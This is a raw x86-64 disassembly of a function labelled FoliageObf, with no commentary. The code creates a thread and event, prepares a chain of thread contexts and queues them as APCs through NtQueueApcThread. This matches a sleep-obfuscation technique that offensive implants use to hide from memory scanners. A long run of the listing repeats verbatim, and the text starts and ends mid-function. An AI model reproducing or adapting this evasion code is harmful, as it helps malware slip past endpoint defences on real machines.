140013637mov r12, rax
14001363acall [r14+932]
140013641mov edx, 1232
140013646mov ecx, 64
14001364bmov [rsp+112], rax
140013650call [r14+932]
140013657mov edx, 1232
14001365cmov ecx, 64
140013661mov r13, rax
140013664call [r14+932]
14001366bmov edx, 1232
140013670mov ecx, 64
140013675mov [rsp+120], rax
14001367acall [r14+932]
140013681or r8, -1
140013685or rcx, -1
140013689lea r9, [rsp+192]
140013691mov [rsp+152], rax
140013699mov rax, [rsp+104]
14001369emov rdx, -2
1400136a5mov [rax+48], 0x10000b
1400136acmov rax, [rsp+160]
1400136b4mov [rax+48], 0x10000b
1400136bbmov rax, [rsp+144]
1400136c3mov [rax+48], 0x10000b
1400136camov rax, [rsp+128]
1400136d2mov [rbp+48], 0x10000b
1400136d9mov [rbx+48], 0x10000b
1400136e0mov [rax+48], 0x10000b
1400136e7mov rax, [rsp+136]
1400136efmov [rax+48], 0x10000b
1400136f6mov rax, [rsp+112]
1400136fbmov [r15+48], 0x10000b
140013703mov [r12+48], 0x10000b
14001370cmov [rax+48], 0x10000b
140013713mov rax, [rsp+120]
140013718mov [r13+48], 0x10000b
140013720mov [rax+48], 0x10000b
140013727mov rax, [rsp+152]
14001372fmov [rax+48], 0x10000b
140013736mov [rsp+48], esi
14001373amov [rsp+40], esi
14001373emov [rsp+32], 0x1fffff
140013746call SysNtDuplicateObject
14001374btest eax, eax
14001374djs 0x140013e04
140013753mov rdx, [rsp+104]
140013758mov rcx, [rsp+184]
140013760call [r14+588]
140013767test eax, eax
140013769js 0x140013e04
14001376fmov rsi, [rsp+104]
140013774mov ecx, 308
140013779mov rdi, rbp
14001377cxor r10l, r10l
14001377frep movsd [rdi], [rsi]
140013781mov rsi, [rsp+104]
140013786mov ecx, 308
14001378bmov rdi, rbx
14001378elea r8, [rsp+256]
140013796xor r11l, r11l
140013799rep movsd [rdi], [rsi]
14001379bmov rdi, [rsp+128]
1400137a3mov rsi, [rsp+104]
1400137a8mov ecx, 308
1400137adrep movsd [rdi], [rsi]
1400137afmov rdi, [rsp+136]
1400137b7mov rsi, [rsp+104]
1400137bcmov ecx, 308
1400137c1rep movsd [rdi], [rsi]
1400137c3mov rsi, [rsp+104]
1400137c8mov ecx, 308
1400137cdmov rdi, r15
1400137d0rep movsd [rdi], [rsi]
1400137d2mov rsi, [rsp+104]
1400137d7mov ecx, 308
1400137dcmov rdi, r12
1400137dfrep movsd [rdi], [rsi]
1400137e1mov rdi, [rsp+112]
1400137e6mov rsi, [rsp+104]
1400137ebmov ecx, 308
1400137f0rep movsd [rdi], [rsi]
1400137f2mov rsi, [rsp+104]
1400137f7mov ecx, 308
1400137fcmov rdi, r13
1400137ffrep movsd [rdi], [rsi]
140013801mov rdi, [rsp+120]
140013806mov rsi, [rsp+104]
14001380bmov ecx, 308
140013810rep movsd [rdi], [rsi]
140013812mov rdi, [rsp+152]
14001381amov ecx, 308
14001381fmov rsi, [rsp+104]
140013824rep movsd [rdi], [rsi]
140013826mov [rbp+48], 0x10000b
14001382dmov rsi, [rsp+128]
140013835mov rax, [r14+620]
14001383cmov [rbp+248], rax
140013843mov rax, [rbp+152]
14001384alea rdx, [rax-53248]
140013851mov [rbp+152], rdx
140013858mov rdx, [rsp+176]
140013860mov [rbp+128], rdx
140013867xor edx, edx
140013869mov [rbp+136], rdx
140013870mov [rbp+184], rdx
140013877mov rdx, [r14+628]
14001387emov [rax-53248], rdx
140013885mov rax, [r14+676]
14001388cmov [rbx+48], 0x10000b
140013893mov [rbx+248], rax
14001389amov rax, [rbx+152]
1400138a1mov [rbx+128], -1
1400138aclea rdx, [rax-49152]
1400138b3mov [rbx+192], 4
1400138bemov [rbx+152], rdx
1400138c5lea rdx, [rsp+200]
1400138cdmov [rbx+136], rdx
1400138d4lea rdx, [rsp+208]
1400138dcmov [rbx+184], rdx
1400138e3mov rdx, [r14+628]
1400138eamov [rax-49152], rdx
1400138f1lea rdx, [rsp+232]
1400138f9mov [rax-49112], rdx
140013900mov rax, [rsp+128]
140013908mov [rax+48], 0x10000b
14001390fmov rax, [r14+1372]
140013916mov [rsi+248], rax
14001391dmov rax, [rsi+152]
140013924lea rcx, [rax-45056]
14001392bmov [rsi+152], rcx
140013932mov r9, [r14+628]
140013939lea rcx, [rsp+240]
140013941mov [rsi+128], r8
140013948mov rdi, [rsp+160]
140013950mov [rsi+136], rcx
140013957mov rsi, [rsp+136]
14001395fmov [rax-45056], r9
140013966mov rax, [rsp+136]
14001396emov [rax+48], 0x10000b
140013975mov rax, [r14+588]
14001397cmov [rsi+136], rdi
140013983mov [rsi+248], rax
14001398amov rax, [rsi+152]
140013991lea r9, [rax-40960]
140013998mov [rsi+152], r9
14001399fmov r9, [rsp+192]
1400139a7mov [rsi+128], r9
1400139aemov r9, [r14+628]
1400139b5mov rsi, [rsp+144]
1400139bdmov [rax-40960], r9
1400139c4mov rax, [r14+596]
1400139cbmov [r15+48], 0x10000b
1400139d3mov [r15+248], rax
1400139damov rax, [r15+152]
1400139e1mov [r15+136], rsi
1400139e8lea r9, [rax-36864]
1400139efmov [r15+152], r9
1400139f6mov r9, [rsp+192]
1400139femov [r15+128], r9
140013a05mov r9, [r14+628]
140013a0cmov [rax-36864], r9
140013a13mov rax, [r14+1692]
140013a1amov [r12+48], 0x10000b
140013a23mov [r12+248], rax
140013a2bmov rax, [r12+152]
140013a33lea r9, [rax-32768]
140013a3amov [r12+152], r9
140013a42mov r9, [rsp+192]
140013a4amov rsi, [rsp+368]
140013a52mov [r12+128], r9
140013a5axor r9l, r9l
140013a5dmov edi, [rsi]
140013a5fmov rsi, [rsp+112]
140013a64mov [r12+184], r9
140013a6cmov r9, [r14+628]
140013a73mov [r12+136], rdi
140013a7bmov [rax-32768], r9
140013a82mov rax, [rsp+112]
140013a87mov [rax+48], 0x10000b
140013a8emov rax, [r14+1372]
140013a95mov [rsi+136], rcx
140013a9cmov rcx, [r14+628]
140013aa3mov [rsi+248], rax
140013aaamov rax, [rsi+152]
140013ab1mov [rsi+128], r8
140013ab8mov r8, rbp
140013abblea r9, [rax-28672]
140013ac2mov [rsi+152], r9
140013ac9mov esi, [rsp+172]
140013ad0xor r9l, r9l
140013ad3mov [rax-28672], rcx
140013adamov rax, [r14+676]
140013ae1mov [r13+48], 0x10000b
140013ae9mov [r13+248], rax
140013af0mov rax, [r13+152]
140013af7mov [r13+192], rsi
140013afelea rcx, [rax-24576]
140013b05mov [r13+128], -1
140013b10mov [r13+152], rcx
140013b17lea rcx, [rsp+216]
140013b1fmov [r13+136], rcx
140013b26lea rcx, [rsp+224]
140013b2emov [r13+184], rcx
140013b35mov rcx, [r14+628]
140013b3cmov [rax-24536], rdx
140013b43mov [rax-24576], rcx
140013b4amov rax, [rsp+120]
140013b4fmov rsi, [rsp+120]
140013b54mov [rax+48], 0x10000b
140013b5bmov rax, [r14+596]
140013b62mov rdi, rsi
140013b65mov [rsi+248], rax
140013b6cmov rax, [rsi+152]
140013b73lea rdx, [rax-20480]
140013b7amov [rsi+152], rdx
140013b81mov rdx, [rsp+192]
140013b89mov [rsi+128], rdx
140013b90mov rdx, [r14+628]
140013b97mov rsi, [rsp+160]
140013b9fmov [rdi+136], rsi
140013ba6mov rdi, [rsp+152]
140013baemov [rax-20480], rdx
140013bb5mov rax, [rsp+152]
140013bbdmov rdx, [r14+628]
140013bc4mov [rax+48], 0x10000b
140013bcbmov rax, [r14+364]
140013bd2sub [rdi+152], 16384
140013bddmov [rdi+248], rax
140013be4mov rax, [rbp+152]
140013bebmov [rdi+128], r10
140013bf2mov [rax], rdx
140013bf5mov rdx, [r14+692]
140013bfcmov [rsp+32], r11
140013c01mov rcx, [rsp+184]
140013c09call SysNtQueueApcThread
140013c0etest eax, eax
140013c10js 0x140013e04
140013c16xor eax, eax
140013c18mov rdx, [r14+692]
140013c1fxor r9l, r9l
140013c22mov r8, rbx
140013c25mov [rsp+32], rax
140013c2amov rcx, [rsp+184]
140013c32call SysNtQueueApcThread
140013c37test eax, eax
140013c39js 0x140013e04
140013c3fxor eax, eax
140013c41mov rdx, [r14+692]
140013c48xor r9l, r9l
140013c4bmov r8, [rsp+128]
140013c53mov [rsp+32], rax
140013c58mov rcx, [rsp+184]
140013c60call SysNtQueueApcThread
140013c65test eax, eax
140013c67js 0x140013e04
140013c6dxor eax, eax
140013c6fmov rdx, [r14+692]
140013c76xor r9l, r9l
140013c79mov r8, [rsp+136]
140013c81mov [rsp+32], rax
140013c86mov rcx, [rsp+184]
140013c8ecall SysNtQueueApcThread
140013c93test eax, eax
140013c95js 0x140013e04
140013c9bxor eax, eax
140013c9dmov rdx, [r14+692]
140013ca4xor r9l, r9l
140013ca7mov r8, r15
140013caamov [rsp+32], rax
140013cafmov rcx, [rsp+184]
140013cb7call SysNtQueueApcThread
140013cbctest eax, eax
140013cbejs 0x140013e04
140013cc4mov r14, [rip+0x186a5]
140013ccbxor eax, eax
140013ccdxor r9l, r9l
140013cd0mov r8, r12
140013cd3mov rcx, [rsp+184]
140013cdbmov rdx, [r14+692]
140013ce2mov [rsp+32], rax
140013ce7call SysNtQueueApcThread
140013cectest eax, eax
140013ceejs 0x140013e04
140013cf4xor edi, edi
140013cf6mov r8, [rsp+112]
140013cfbxor r9l, r9l
140013cfemov rdx, [r14+692]
140013d05mov [rsp+32], rdi
140013d0amov rcx, [rsp+184]
140013d12call SysNtQueueApcThread
140013d17test eax, eax
140013d19js 0x140013e04
140013d1fxor esi, esi
140013d21mov rdx, [r14+692]
140013d28xor r9l, r9l
140013d2bmov r8, r13
140013d2emov [rsp+32], rsi
140013d33mov rcx, [rsp+184]
140013d3bcall SysNtQueueApcThread
140013d40test eax, eax
140013d42js 0x140013e04
140013d48xor r11l, r11l
140013d4bmov r8, [rsp+120]
140013d50xor r9l, r9l
140013d53mov rdx, [r14+692]
140013d5amov [rsp+32], r11
140013d5fmov rcx, [rsp+184]
140013d67call SysNtQueueApcThread
140013d6ctest eax, eax
140013d6ejs 0x140013e04
140013d74xor r10l, r10l
140013d77mov rdx, [r14+692]
140013d7exor r9l, r9l
140013d81mov r8, [rsp+152]
140013d89mov [rsp+32], r10
140013d8emov rcx, [rsp+184]
140013d96call SysNtQueueApcThread
140013d9btest eax, eax
140013d9djs 0x140013e04
140013d9fmov rcx, [rsp+184]
140013da7xor edx, edx
140013da9call SysNtAlertResumeThread
140013daetest eax, eax
140013db0js 0x140013e04
140013db2mov rax, [rsp+144]
140013dbaxor r9l, r9l
140013dbdxor r8l, r8l
140013dc0mov rsi, [rsp+144]
140013dc8mov rdx, [rsp+184]
140013dd0mov rcx, [rsp+176]
140013dd8mov [rax+48], 0x10000b
140013ddfmov rax, [r14+1692]
140013de6mov [rsi+248], rax
140013dedmov rax, [r14+2230]
140013df4mov rax, [rax+8]
140013df8mov [rsi+152], rax
140013dffcall SysNtSignalAndWaitForSingleObject
140013e04
140013e04loc_140013e04:
140013e04mov rdi, [rip+0x18565]
140013e0bmov rcx, [rsp+152]
140013e13call [rdi+940]
140013e19mov rcx, [rsp+120]
140013e1ecall [rdi+940]
140013e24test r13, r13
140013e27je 0x140013e32
140013e29mov rcx, r13
140013e2ccall [rdi+940]
140013e32
140013e32loc_140013e32:
140013e32cmp [rsp+112], 0
140013e38mov r13, [rip+0x18531]
140013e3fje 0x140013e4d
140013e41mov rcx, [rsp+112]
140013e46call [r13+940]
140013e4d
140013e4dloc_140013e4d:
140013e4dtest r12, r12
140013e50je 0x140013e5c
140013e52mov rcx, r12
140013e55call [r13+940]
140013e5c
140013e5cloc_140013e5c:
140013e5ctest r15, r15
140013e5fje 0x140013e6b
140013e61mov rcx, r15
140013e64call [r13+940]
140013e6b
140013e6bloc_140013e6b:
140013e6btest rbx, rbx
140013e6eje 0x140013e7a
140013e70mov rcx, rbx
140013e73call [r13+940]
140013e7a
140013e7aloc_140013e7a:
140013e7atest rbp, rbp
140013e7dje 0x140013e89
140013e7fmov rcx, rbp
140013e82call [r13+940]
140013e89
140013e89loc_140013e89:
140013e89cmp [rsp+144], 0
140013e92je 0x140013ea3
140013e94mov rcx, [rsp+144]
140013e9ccall [r13+940]
140013ea3
140013ea3loc_140013ea3:
140013ea3cmp [rsp+160], 0
140013eacje 0x140013ebd
140013eaemov rcx, [rsp+160]
140013eb6call [r13+940]
140013ebd
140013ebdloc_140013ebd:
140013ebdcmp [rsp+104], 0
140013ec3je 0x140013ed1
140013ec5mov rcx, [rsp+104]
140013ecacall [r13+940]
140013ed1
140013ed1loc_140013ed1:
140013ed1mov rcx, [rsp+192]
140013ed9test rcx, rcx
140013edcje 0x140013eee
140013edecall SysNtClose
140013ee3xor r9l, r9l
140013ee6mov [rsp+192], r9
140013eee
140013eeeloc_140013eee:
140013eeemov rcx, [rsp+184]
140013ef6test rcx, rcx
140013ef9je 0x140013f0d
140013efbxor edx, edx
140013efdcall SysNtTerminateThread
140013f02xor r8l, r8l
140013f05mov [rsp+184], r8
140013f0d
140013f0dloc_140013f0d:
140013f0dmov rcx, [rsp+176]
140013f15test rcx, rcx
140013f18je 0x140013f29
140013f1acall SysNtClose
140013f1fxor ecx, ecx
140013f21mov [rsp+176], rcx
140013f29
140013f29loc_140013f29:
140013f29mov edx, 16
140013f2exor eax, eax
140013f30lea rdi, [rsp+256]
140013f38mov rcx, rdx
140013f3brep stosb [rdi], al
140013f3dlea rdi, [rsp+240]
140013f45mov rcx, rdx
140013f48rep stosb [rdi], al
140013f4alea rdi, [rsp+272]
140013f52mov rcx, rdx
140013f55rep stosb [rdi], al
140013f57mov rax, [rsp+368]
140013f5fmov rcx, [rax+4]
140013f63call [r13+1508]
140013f6aadd rsp, 296
140013f71pop rbx
140013f72pop rsi
140013f73pop rdi
140013f74pop rbp
140013f75pop r12
140013f77pop r13
140013f79pop r14
140013f7bpop r15
140013f7dret
140013f7e
140013f7eloc_140013f7e:
140013f7exor edx, edx
140013f80xor eax, eax
140013f82xor r12l, r12l
140013f85xor ebp, ebp
140013f87mov [rsp+112], rax
140013f8cxor ebx, ebx
140013f8exor r15l, r15l
140013f91mov [rsp+104], rdx
140013f96mov [rsp+160], rdx
140013f9emov [rsp+144], rdx
140013fa6jmp 0x140013e32
1400133b0
1400133b0FoliageObf:
1400133b0push r15
1400133b2push r14
1400133b4xor r14l, r14l
1400133b7push r13
1400133b9push r12
1400133bbpush rbp
1400133bcpush rdi
1400133bdpush rsi
1400133bepush rbx
1400133bfsub rsp, 296
1400133c6mov [rsp+240], r14
1400133cemov [rsp+248], r14
1400133d6mov [rsp+256], r14
1400133demov [rsp+264], r14
1400133e6mov [rsp+272], r14
1400133eemov [rsp+280], r14
1400133f6mov [rsp+176], r14
1400133femov [rsp+184], r14
140013406mov [rsp+192], r14
14001340emov [rsp+232], r14
140013416mov r14, [rip+0x18f53]
14001341dmov [rsp+368], rcx
140013425mov rdx, [r14+44]
140013429mov eax, [r14+52]
14001342dmov [rsp+172], 64
140013438mov rcx, [r14+56]
14001343cmov [rsp+200], rdx
140013444mov [rsp+208], rax
14001344ctest rcx, rcx
14001344fje 0x14001346b
140013451mov r8l, [r14+64]
140013455test r8l, r8l
140013458je 0x14001346b
14001345amov [rsp+172], 32
140013465mov eax, r8l
140013468mov rdx, rcx
14001346b
14001346bloc_14001346b:
14001346bmov [rsp+216], rdx
140013473xor ebx, ebx
140013475mov [rsp+224], rax
14001347d
14001347dloc_14001347d:
14001347dcall RandomNumber32
140013482mov edx, eax
140013484lea rax, [rsp+272]
14001348cmov [rsp+rbx+272], dl
140013493inc rbx
140013496cmp rbx, 16
14001349ajne 0x14001347d
14001349cmov [rsp+248], rax
1400134a4xor r13l, r13l
1400134a7mov rax, 0x1000000010
1400134b1xor r8l, r8l
1400134b4mov [rsp+32], r13l
1400134b9lea rcx, [rsp+176]
1400134c1mov edx, 0x1f0003
1400134c6mov r9l, 1
1400134ccmov [rsp+240], rax
1400134d4mov rax, [rsp+200]
1400134dcmov [rsp+264], rax
1400134e4mov rax, [rsp+208]
1400134ecmov [rsp+260], eax
1400134f3mov [rsp+256], eax
1400134facall SysNtCreateEvent
1400134fftest eax, eax
140013501js 0x140013f7e
140013507xor edi, edi
140013509xor ebp, ebp
14001350bxor r12l, r12l
14001350emov [rsp+48], 1
140013516mov [rsp+80], rdi
14001351bor r9, -1
14001351fxor r8l, r8l
140013522lea rcx, [rsp+184]
14001352amov [rsp+72], 0x14000
140013533mov edx, 0x1fffff
140013538mov [rsp+64], 0x14000
140013541mov [rsp+56], rbp
140013546mov [rsp+40], r12
14001354bmov rax, [r14+228]
140013552mov [rsp+32], rax
140013557call SysNtCreateThreadEx
14001355ctest eax, eax
14001355ejs 0x140013f7e
140013564mov edx, 1232
140013569mov ecx, 64
14001356exor esi, esi
140013570call [r14+932]
140013577mov edx, 1232
14001357cmov ecx, 64
140013581mov [rsp+104], rax
140013586call [r14+932]
14001358dmov edx, 1232
140013592mov ecx, 64
140013597mov [rsp+160], rax
14001359fcall [r14+932]
1400135a6mov edx, 1232
1400135abmov ecx, 64
1400135b0mov [rsp+144], rax
1400135b8call [r14+932]
1400135bfmov edx, 1232
1400135c4mov ecx, 64
1400135c9mov rbp, rax
1400135cccall [r14+932]
1400135d3mov edx, 1232
1400135d8mov ecx, 64
1400135ddmov rbx, rax
1400135e0call [r14+932]
1400135e7mov edx, 1232
1400135ecmov ecx, 64
1400135f1mov [rsp+128], rax
1400135f9call [r14+932]
140013600mov edx, 1232
140013605mov ecx, 64
14001360amov [rsp+136], rax
140013612call [r14+932]
140013619mov edx, 1232
14001361emov ecx, 64
140013623mov r15, rax
140013626call [r14+932]
14001362dmov edx, 1232
140013632mov ecx, 64
140013637mov r12, rax
14001363acall [r14+932]
140013641mov edx, 1232
140013646mov ecx, 64
14001364bmov [rsp+112], rax
140013650call [r14+932]
140013657mov edx, 1232
14001365cmov ecx, 64
140013661mov r13, rax
140013664call [r14+932]
14001366bmov edx, 1232
140013670mov ecx, 64
140013675mov [rsp+120], rax
14001367acall [r14+932]
140013681or r8, -1
140013685or rcx, -1
140013689lea r9, [rsp+192]
140013691mov [rsp+152], rax
140013699mov rax, [rsp+104]
14001369emov rdx, -2
1400136a5mov [rax+48], 0x10000b
1400136acmov rax, [rsp+160]
1400136b4mov [rax+48], 0x10000b
1400136bbmov rax, [rsp+144]
1400136c3mov [rax+48], 0x10000b
1400136camov rax, [rsp+128]
1400136d2mov [rbp+48], 0x10000b
1400136d9mov [rbx+48], 0x10000b
1400136e0mov [rax+48], 0x10000b
1400136e7mov rax, [rsp+136]
1400136efmov [rax+48], 0x10000b
1400136f6mov rax, [rsp+112]
1400136fbmov [r15+48], 0x10000b
140013703mov [r12+48], 0x10000b
14001370cmov [rax+48], 0x10000b
140013713mov rax, [rsp+120]
140013718mov [r13+48], 0x10000b
140013720mov [rax+48], 0x10000b
140013727mov rax, [rsp+152]
14001372fmov [rax+48], 0x10000b
140013736mov [rsp+48], esi
14001373amov [rsp+40], esi
14001373emov [rsp+32], 0x1fffff
140013746call SysNtDuplicateObject
14001374btest eax, eax
14001374djs 0x140013e04
140013753mov rdx, [rsp+104]
140013758mov rcx, [rsp+184]
140013760call [r14+588]
140013767test eax, eax
140013769js 0x140013e04
14001376fmov rsi, [rsp+104]
140013774mov ecx, 308
140013779mov rdi, rbp
14001377cxor r10l, r10l
14001377frep movsd [rdi], [rsi]
140013781mov rsi, [rsp+104]
140013786mov ecx, 308
14001378bmov rdi, rbx
14001378elea r8, [rsp+256]
140013796xor r11l, r11l
140013799rep movsd [rdi], [rsi]
14001379bmov rdi, [rsp+128]
1400137a3mov rsi, [rsp+104]
1400137a8mov ecx, 308
1400137adrep movsd [rdi], [rsi]
1400137afmov rdi, [rsp+136]
1400137b7mov rsi, [rsp+104]
1400137bcmov ecx, 308
1400137c1rep movsd [rdi], [rsi]
1400137c3mov rsi, [rsp+104]
1400137c8mov ecx, 308
1400137cdmov rdi, r15
1400137d0rep movsd [rdi], [rsi]
1400137d2mov rsi, [rsp+104]
1400137d7mov ecx, 308
1400137dcmov rdi, r12
1400137dfrep movsd [rdi], [rsi]
1400137e1mov rdi, [rsp+112]
1400137e6mov rsi, [rsp+104]
1400137ebmov ecx, 308
1400137f0rep movsd [rdi], [rsi]
1400137f2mov rsi, [rsp+104]
1400137f7mov ecx, 308
1400137fcmov rdi, r13
1400137ffrep movsd [rdi], [rsi]
140013801mov rdi, [rsp+120]
140013806mov rsi, [rsp+104]
14001380bmov ecx, 308
140013810rep movsd [rdi], [rsi]
140013812mov rdi, [rsp+152]
14001381amov ecx, 308
14001381fmov rsi, [rsp+104]
140013824rep movsd [rdi], [rsi]
140013826mov [rbp+48], 0x10000b
14001382dmov rsi, [rsp+128]
140013835mov rax, [r14+620]
14001383cmov [rbp+248], rax
140013843mov rax, [rbp+152]
14001384alea rdx, [rax-53248]
140013851mov [rbp+152], rdx
140013858mov rdx, [rsp+176]
140013860mov [rbp+128], rdx
140013867xor edx, edx
140013869mov [rbp+136], rdx
140013870mov [rbp+184], rdx
140013877mov rdx, [r14+628]
14001387emov [rax-53248], rdx
140013885mov rax, [r14+676]
14001388cmov [rbx+48], 0x10000b
140013893mov [rbx+248], rax
14001389amov rax, [rbx+152]
1400138a1mov [rbx+128], -1
1400138aclea rdx, [rax-49152]
1400138b3mov [rbx+192], 4
1400138bemov [rbx+152], rdx
1400138c5lea rdx, [rsp+200]
1400138cdmov [rbx+136], rdx
1400138d4lea rdx, [rsp+208]
1400138dcmov [rbx+184], rdx
1400138e3mov rdx, [r14+628]
1400138eamov [rax-49152], rdx
1400138f1lea rdx, [rsp+232]
1400138f9mov [rax-49112], rdx
140013900mov rax, [rsp+128]
140013908mov [rax+48], 0x10000b
14001390fmov rax, [r14+1372]
140013916mov [rsi+248], rax
14001391dmov rax, [rsi+152]
140013924lea rcx, [rax-45056]
14001392bmov [rsi+152], rcx
140013932mov r9, [r14+628]
140013939lea rcx, [rsp+240]
140013941mov [rsi+128], r8
140013948mov rdi, [rsp+160]
140013950mov [rsi+136], rcx
140013957mov rsi, [rsp+136]
14001395fmov [rax-45056], r9
140013966mov rax, [rsp+136]
14001396emov [rax+48], 0x10000b
140013975mov rax, [r14+588]
14001397cmov [rsi+136], rdi
140013983mov [rsi+248], rax
14001398amov rax, [rsi+152]
140013991lea r9, [rax-40960]
140013998mov [rsi+152], r9
14001399fmov r9, [rsp+192]
1400139a7mov [rsi+128], r9
1400139aemov r9, [r14+628]
1400139b5mov rsi, [rsp+144]
1400139bdmov [rax-40960], r9
1400139c4mov rax, [r14+596]
1400139cbmov [r15+48], 0x10000b
1400139d3mov [r15+248], rax
1400139damov rax, [r15+152]
1400139e1mov [r15+136], rsi
1400139e8lea r9, [rax-36864]
1400139efmov [r15+152], r9
1400139f6mov r9, [rsp+192]
1400139femov [r15+128], r9
140013a05mov r9, [r14+628]
140013a0cmov [rax-36864], r9
140013a13mov rax, [r14+1692]
140013a1amov [r12+48], 0x10000b
140013a23mov [r12+248], rax
140013a2bmov rax, [r12+152]
140013a33lea r9, [rax-32768]
140013a3amov [r12+152], r9
140013a42mov r9, [rsp+192]
140013a4amov rsi, [rsp+368]
140013a52mov [r12+128], r9
140013a5axor r9l, r9l
140013a5dmov edi, [rsi]
140013a5fmov rsi, [rsp+112]
140013a64mov [r12+184], r9
140013a6cmov r9, [r14+628]
140013a73mov [r12+136], rdi
140013a7bmov [rax-32768], r9
140013a82mov rax, [rsp+112]
140013a87mov [rax+48], 0x10000b
140013a8emov rax, [r14+1372]
140013a95mov [rsi+136], rcx
140013a9cmov rcx, [r14+628]
140013aa3mov [rsi+248], rax
140013aaamov rax, [rsi+152]
140013ab1mov [rsi+128], r8
140013ab8mov r8, rbp
140013abblea r9, [rax-28672]
140013ac2mov [rsi+152], r9
140013ac9mov esi, [rsp+172]
140013ad0xor r9l, r9l
140013ad3mov [rax-28672], rcx
140013adamov rax, [r14+676]
140013ae1mov [r13+48], 0x10000b
140013ae9mov [r13+248], rax
140013af0mov rax, [r13+152]
140013af7mov [r13+192], rsi
140013afelea rcx, [rax-24576]
140013b05mov [r13+128], -1
140013b10mov [r13+152], rcx
140013b17lea rcx, [rsp+216]
140013b1fmov [r13+136], rcx
140013b26lea rcx, [rsp+224]
140013b2emov [r13+184], rcx
140013b35mov rcx, [r14+628]
140013b3cmov [rax-24536], rdx
140013b43mov [rax-24576], rcx
140013b4amov rax, [rsp+120]
140013b4fmov rsi, [rsp+120]
140013b54mov [rax+48], 0x10000b
140013b5bmov rax, [r14+596]
140013b62mov rdi, rsi
140013b65mov [rsi+248], rax
140013b6cmov rax, [rsi+152]
140013b73lea rdx, [rax-20480]
140013b7amov [rsi+152], rdx
140013b81mov rdx, [rsp+192]
140013b89mov [rsi+128], rdx
140013b90mov rdx, [r14+628]
140013b97mov rsi, [rsp+160]
140013b9fmov [rdi+136], rsi
140013ba6mov rdi, [rsp+152]
140013baemov [rax-20480], rdx
140013bb5mov rax, [rsp+152]
140013bbdmov rdx, [r14+628]
140013bc4mov [rax+48], 0x10000b
140013bcbmov rax, [r14+364]
140013bd2sub [rdi+152], 16384
140013bddmov [rdi+248], rax
140013be4mov rax, [rbp+152]
140013bebmov [rdi+128], r10
140013bf2mov [rax], rdx
140013bf5mov rdx, [r14+692]
140013bfcmov [rsp+32], r11
140013c01mov rcx, [rsp+184]
140013c09call SysNtQueueApcThread
140013c0etest eax, eax
140013c10js 0x140013e04
140013c16xor eax, eax
140013c18mov rdx, [r14+692]
140013c1fxor r9l, r9l
140013c22mov r8, rbx
140013c25mov [rsp+32], rax
140013c2amov rcx, [rsp+184]
140013c32call SysNtQueueApcThread
140013c37test eax, eax
140013c39js 0x140013e04
140013c3fxor eax, eax
140013c41mov rdx, [r14+692]
140013c48xor r9l, r9l
140013c4bmov r8, [rsp+128]
140013c53mov [rsp+32], rax
140013c58mov rcx, [rsp+184]
140013c60call SysNtQueueApcThread
140013c65test eax, eax
140013c67js 0x140013e04
140013c6dxor eax, eax
140013c6fmov rdx, [r14+692]
140013c76xor r9l, r9l
140013c79mov r8, [rsp+136]
140013c81mov [rsp+32], rax
140013c86mov rcx, [rsp+184]
140013c8ecall SysNtQueueApcThread
140013c93test eax, eax
140013c95js 0x140013e04
140013c9bxor eax, eax
140013c9dmov rdx, [r14+692]
140013ca4xor r9l, r9l
140013ca7mov r8, r15
140013caamov [rsp+32], rax
140013cafmov rcx, [rsp+184]
140013cb7call SysNtQueueApcThread
140013cbctest eax, eax
140013cbejs 0x140013e04
140013cc4mov r14, [rip+0x186a5]
140013ccbxor eax, eax
140013ccdxor r9l, r9l
140013cd0mov r8, r12
140013cd3mov rcx, [rsp+184]
140013cdbmov rdx, [r14+692]
140013ce2mov [rsp+32], rax
140013ce7call SysNtQueueApcThread
140013cectest eax, eax
140013ceejs 0x140013e04
140013cf4xor edi, edi
140013cf6mov r8, [rsp+112]
140013cfbxor r9l, r9l
140013cfemov rdx, [r14+692]
140013d05mov [rsp+32], rdi
140013d0amov rcx, [rsp+184]
140013d12call SysNtQueueApcThread
140013d17test eax, eax
140013d19js 0x140013e04
140013d1fxor esi, esi
140013d21mov rdx, [r14+692]
140013d28xor r9l, r9l
140013d2bmov r8, r13
140013d2emov [rsp+32], rsi
140013d33mov rcx, [rsp+184]
140013d3bcall SysNtQueueApcThread
140013d40test eax, eax
140013d42js 0x140013e04
140013d48xor r11l, r11l
140013d4bmov r8, [rsp+120]
140013d50xor r9l, r9l
140013d53mov rdx, [r14+692]
140013d5amov [rsp+32], r11
140013d5fmov rcx, [rsp+184]
140013d67call SysNtQueueApcThread
140013d6ctest eax, eax
140013d6ejs 0x140013e04
140013d74xor r10l, r10l
140013d77mov rdx, [r14+692]
140013d7exor r9l, r9l
140013d81mov r8, [rsp+152]
140013d89mov [rsp+32], r10
140013d8emov rcx, [rsp+184]
140013d96call SysNtQueueApcThread
140013d9btest eax, eax
140013d9djs 0x140013e04
140013d9fmov rcx, [rsp+184]
140013da7xor edx, edx
140013da9call SysNtAlertResumeThread
140013daetest eax, eax
140013db0js 0x140013e04
140013db2mov rax, [rsp+144]
140013dbaxor r9l, r9l
140013dbdxor r8l, r8l
140013dc0mov rsi, [rsp+144]
140013dc8mov rdx, [rsp+184]
140013dd0mov rcx, [rsp+176]
140013dd8mov [rax+48], 0x10000b
140013ddfmov rax, [r14+1692]
140013de6mov [rsi+248], rax
140013dedmov rax, [r14+2230]
140013df4mov rax, [rax+8]
140013df8mov [rsi+152], rax
140013dffcall SysNtSignalAndWaitForSingleObject
140013e04
140013e04loc_140013e04:
140013e04mov rdi, [rip+0x18565]
140013e0bmov rcx, [rsp+152]
140013e13call [rdi+940]
140013e19mov rcx, [rsp+120]
140013e1ecall [rdi+940]
140013e24test r13, r13
140013e27je 0x140013e32
140013e29mov rcx, r13
140013e2ccall [rdi+940]
140013e32
140013e32loc_140013e32:
140013e32cmp [rsp+112], 0
140013e38mov r13, [rip+0x18531]
140013e3fje 0x140013e4d
140013e41mov rcx, [rsp+112]
140013e46call [r13+940]
140013e4d
140013e4dloc_140013e4d:
140013e4dtest r12, r12
140013e50je 0x140013e5c
140013e52mov rcx, r12
140013e55call [r13+940]
140013e5c
140013e5cloc_140013e5c:
140013e5ctest r15, r15
140013e5fje 0x140013e6b
140013e61mov rcx, r15
140013e64call [r13+940]
140013e6b
140013e6bloc_140013e6b:
140013e6btest rbx, rbx
140013e6eje 0x140013e7a
140013e70mov rcx, rbx
140013e73call [r13+940]
140013e7a
140013e7aloc_140013e7a:
140013e7atest rbp, rbp
140013e7dje 0x140013e89
140013e7fmov rcx, rbp
140013e82call [r13+940]
140013e89
140013e89loc_140013e89:
140013e89cmp [rsp+144], 0
140013e92je 0x140013ea3
140013e94mov rcx, [rsp+144]
